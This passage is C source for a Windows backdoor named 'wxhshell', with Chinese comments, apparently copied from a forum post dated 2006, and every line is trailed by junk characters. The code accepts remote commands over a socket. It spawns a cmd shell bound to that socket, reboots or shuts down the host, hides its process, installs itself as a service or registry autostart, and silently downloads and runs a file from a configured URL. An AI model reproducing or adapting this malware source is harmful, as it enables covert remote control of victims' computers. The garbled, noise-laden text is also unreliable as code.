  case '?': { q _K@KB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QJiH^KY6  
    break; x5pu+-h  
  } :V#xrH8R  
  // 安装 omy3<6  
  case 'i': { iyr8*L\  
    if(Install()) 99By.+~pX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O0`ofFN  
    else AFvv+ ss  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5rCJIl.  
    break; f? GoBh<  
    } $ve$Sq  
  // 卸载 i[FYR;C  
  case 'r': { tSoF!@6  
    if(Uninstall()) y:$qX*+9e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9,\AAISi  
    else q+<,FdG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $?gKIv>g  
    break; r2i]9>w  
    } /YJBRU2  
  // 显示 wxhshell 所在路径 J&JZYuuf  
  case 'p': { g+QIhur  
    char svExeFile[MAX_PATH]; zw$\d1-+h  
    strcpy(svExeFile,"\n\r"); mJ5%+.V  
      strcat(svExeFile,ExeFile); V6((5o#  
        send(wsh,svExeFile,strlen(svExeFile),0); I!u=.[5zdC  
    break; &0|Z FXPd  
    } 1uG)U)y/Q  
  // 重启 #r?[@aJ  
  case 'b': { P ecZuv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UGgo;e  
    if(Boot(REBOOT)) ya^8mp-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C\ Yf]J  
    else { fi~@J`  
    closesocket(wsh); )t7MD(  
    ExitThread(0); GVn'p Wg  
    } 7 <]YK`a2d  
    break; n6Uf>5  
    }  < ]+Mdy  
  // 关机 wmXI8'~F&  
  case 'd': { z-g6d(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;1nXJ{jKw  
    if(Boot(SHUTDOWN)) Y9vi&G?Jl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iCh 8e>+  
    else { rLmc(-q  
    closesocket(wsh); ~!7x45( 1#  
    ExitThread(0); ]>k8v6*=  
    } ycOnPTh  
    break; #<sK3PT  
    } !T ,=kh  
  // 获取shell @.}Y'`9L  
  case 's': { /%p ~  
    CmdShell(wsh); _zzNF93Bn  
    closesocket(wsh); !?+0O]`}  
    ExitThread(0); Xc" %-  
    break; =OPX9oG  
  } ! os@G  
  // 退出 >mJ`904L  
  case 'x': { 'X6Y!VDd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P(Zj}tGN  
    CloseIt(wsh); 8==M{M/eM  
    break; k W 8>VnW  
    } 2P@6Qe ?  
  // 离开 >JY\h1+ H  
  case 'q': { ru`U/6 n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3#]IIj`\  
    closesocket(wsh); >m <T+{`  
    WSACleanup(); E?KPez  
    exit(1); }fo_"bs@  
    break; aE3eYl9u  
        } ]$^HGmP  
  } ME]89 T &  
  } mQ`2c:Rn&7  
=ePX^J*M'  
  // 提示信息 N1.1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lz-|M?(  
} !hS)W7!ik  
  } OU#p^ 5K  
94t`&jZ&|u  
  return; 5=<KA   
} ~$j;@ 4  
A<TYt M  
// shell模块句柄 Yh@2m9  
int CmdShell(SOCKET sock) A8ef=ljM?  
{ k4u/v n`&r  
STARTUPINFO si; qP##C&+#q  
ZeroMemory(&si,sizeof(si)); J65:MaS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m8R=wb :  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j)YX=r;xM  
PROCESS_INFORMATION ProcessInfo; "_dg$j`Y&&  
char cmdline[]="cmd"; $Z w +"AA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WwtVuc|  
  return 0; wpi$-i`  
} P6ktA-Hv>  
LayK&RwL  
// 自身启动模式 4(oU88 z  
int StartFromService(void) ;~d$O M  
{ >#l: ]T  
typedef struct S+- $Ih`[  
{ =h|cs{eT\2  
  DWORD ExitStatus; Zby3.=.e  
  DWORD PebBaseAddress; CQa8I2VF (  
  DWORD AffinityMask; cjO %X  
  DWORD BasePriority; .sM,U  
  ULONG UniqueProcessId; x{K"z4xbI  
  ULONG InheritedFromUniqueProcessId; dtfOFag4_  
}   PROCESS_BASIC_INFORMATION; IO=$+c  
$_TS]~y4}  
PROCNTQSIP NtQueryInformationProcess; UF }[%Sa  
=2QP7W3mg<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :&'jh/vRN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9y5JV3  
RjO0*$>h  
  HANDLE             hProcess; !7)#aXt&  
  PROCESS_BASIC_INFORMATION pbi; ANM=:EtP  
/QVwZrch  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K\8zhY  
  if(NULL == hInst ) return 0; U:3O E97  
33D2^ Sf6"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =mPe wx'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )X|)X,~+-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *mJ#|3I<  
=_ N[mR^  
  if (!NtQueryInformationProcess) return 0; qnWM  %k  
-OU{99$aS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o,c}L9nvt  
  if(!hProcess) return 0; }S?"mg& V  
Z[] 8X@IPe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zF>;7'\x  
B]()  
  CloseHandle(hProcess); #>,E"-]f  
6aHD?a o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +/RR!vG,  
if(hProcess==NULL) return 0; tK/,U =+  
/je $+  
HMODULE hMod; Rf>)#hn%  
char procName[255]; ^ +@OiL>&i  
unsigned long cbNeeded; kN{$-v=K  
ISK 8t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h!|Uj  
r<:d+5"  
  CloseHandle(hProcess); uP r!;'J=  
G `!A#As  
if(strstr(procName,"services")) return 1; // 以服务启动 b6Z3(!] ]  
|#< z\u }  
  return 0; // 注册表启动 WG\ _eRj  
} oA7DhU5n  
$cJ fdE  
// 主模块 YaC[S^p  
int StartWxhshell(LPSTR lpCmdLine) <DR! AR)  
{ vxC];nCC#  
  SOCKET wsl; 4Otq3s34FT  
BOOL val=TRUE; GQhy4ji'z  
  int port=0; j3`YaWw  
  struct sockaddr_in door; hi/d%lNZ  
MMpId Uhr  
  if(wscfg.ws_autoins) Install(); ' 7oCWHq[  
FJCORa@?_  
port=atoi(lpCmdLine); 1;S?9N_B  
' v CMf  
if(port<=0) port=wscfg.ws_port; & /T}  
m;>G]Sbe  
  WSADATA data; <Lxp t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w{xa@Q]t-  
oe|;>0yf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AH/o-$C&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UQ;2g\([  
  door.sin_family = AF_INET; ty"L&$bf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z4As'al  
  door.sin_port = htons(port); %cUC~, g_(  
00dY?d{[D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]cS(2hP7  
closesocket(wsl); a)=|{QR>W  
return 1; (?^F }]  
} kBrA ?   
F!u)8>s+z{  
  if(listen(wsl,2) == INVALID_SOCKET) { IO 0nT  
closesocket(wsl); \aM-m:J  
return 1; myN2G?>;  
} Z8Y& #cB  
  Wxhshell(wsl); 9{j`eAUZl  
  WSACleanup(); lZ[J1:%  
>4kQ9lXL  
return 0; eZ[Qhrc  
c_+fA  
} 6fI2y4yEz  
$|J+  
// 以NT服务方式启动 7 L ,`7k|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7#G!es  
{ MaY_*[  
DWORD   status = 0; 0uW)&>W  
  DWORD   specificError = 0xfffffff; B; NK\5>  
}s@IQay+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *C+[I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =>3,]hnep  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gzSm=6Qw0  
  serviceStatus.dwWin32ExitCode     = 0; +6jGU '}[  
  serviceStatus.dwServiceSpecificExitCode = 0; p!=8Pq.  
  serviceStatus.dwCheckPoint       = 0; t1mG]  
  serviceStatus.dwWaitHint       = 0; u t4:LHF  
K39I j_3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YlG#sBzl  
  if (hServiceStatusHandle==0) return; 2}/r>]9^-  
- ry  
status = GetLastError(); Yu_ eCq5/  
  if (status!=NO_ERROR) ( 2L,m  
{ C(B"@   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q$]1juqg  
    serviceStatus.dwCheckPoint       = 0; GBRiU &D  
    serviceStatus.dwWaitHint       = 0; o&@y^<UQ  
    serviceStatus.dwWin32ExitCode     = status; =EA @  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2 YWO'PL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qM26:kB{  
    return; q5EkAh<PD|  
  } SnXM`v,  
>.od(Fh{l|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4xalm  
  serviceStatus.dwCheckPoint       = 0; 8,RqhT)2#  
  serviceStatus.dwWaitHint       = 0; Q#ksf h!D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); " a'I^B/  
} N: 38N  
o~9*J)X5i  
// 处理NT服务事件,比如:启动、停止 i>CR{q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ti0kfjhX7  
{ Nv;'Ys P  
switch(fdwControl) W1 xPK*  
{ tK{#kApHGG  
case SERVICE_CONTROL_STOP: <zvtQ^{]  
  serviceStatus.dwWin32ExitCode = 0; _4SZ9yu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; # .(f7~  
  serviceStatus.dwCheckPoint   = 0; u^E0u^  
  serviceStatus.dwWaitHint     = 0; 7SYe:^Dx  
  { d#bg(y\G|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %P<fz1  
  } 7p':a)  
  return; . a @7  
case SERVICE_CONTROL_PAUSE: mSu$1m8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~~k0&mK|Q  
  break; s}` |!Vyl  
case SERVICE_CONTROL_CONTINUE: cyHbAtl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %Y'/_ esH2  
  break; U*sQ5uq  
case SERVICE_CONTROL_INTERROGATE: S\t!7Xs%*U  
  break; ebCS4&c  
}; L1Yj9i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'w72i/  
} 1'TS!/ll];  
tq'hiS(b  
// 标准应用程序主函数 s!D2s2b9e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fQ!W)>mi  
{ u0oTqD?  
T>#~.4A0  
// 获取操作系统版本 4,X CbcC  
OsIsNt=GetOsVer(); G^SJhdO(Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >rP[Xox'  
qyKR]%yzi  
  // 从命令行安装 =+DhLH}8  
  if(strpbrk(lpCmdLine,"iI")) Install(); nC??exc  
eUCBQK  
  // 下载执行文件 7iM@BeIf  
if(wscfg.ws_downexe) {  Q$`uZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BSd.7W;cS=  
  WinExec(wscfg.ws_filenam,SW_HIDE); _G<Wq`0w)  
} G}NqVbZ9]  
Tw` dLK?  
if(!OsIsNt) { &LB`  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ic!x y  
HideProc(); saQ ~v@  
StartWxhshell(lpCmdLine);  #X$s5H  
} hmuhq:<f  
else 8JR&s  
  if(StartFromService()) jHatUez4O  
  // 以服务方式启动 W)  
  StartServiceCtrlDispatcher(DispatchTable); #{?RE?nD  
else FS @55mQ  
  // 普通方式启动 f61vE  
  StartWxhshell(lpCmdLine); /.A"HGAk  
ZXiJ5BZ  
return 0; %Q]thv:  
}
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只看该作者 1 发表于: 2006-10-10
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